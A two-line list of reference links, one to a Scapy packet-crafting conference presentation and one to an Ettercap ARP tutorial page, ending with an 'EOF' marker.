scapy: http://www.secdev.org/conf/scapy_pacsec05.pdf
ettercap: http://openmaniak.com/ettercap_arp.php

EOF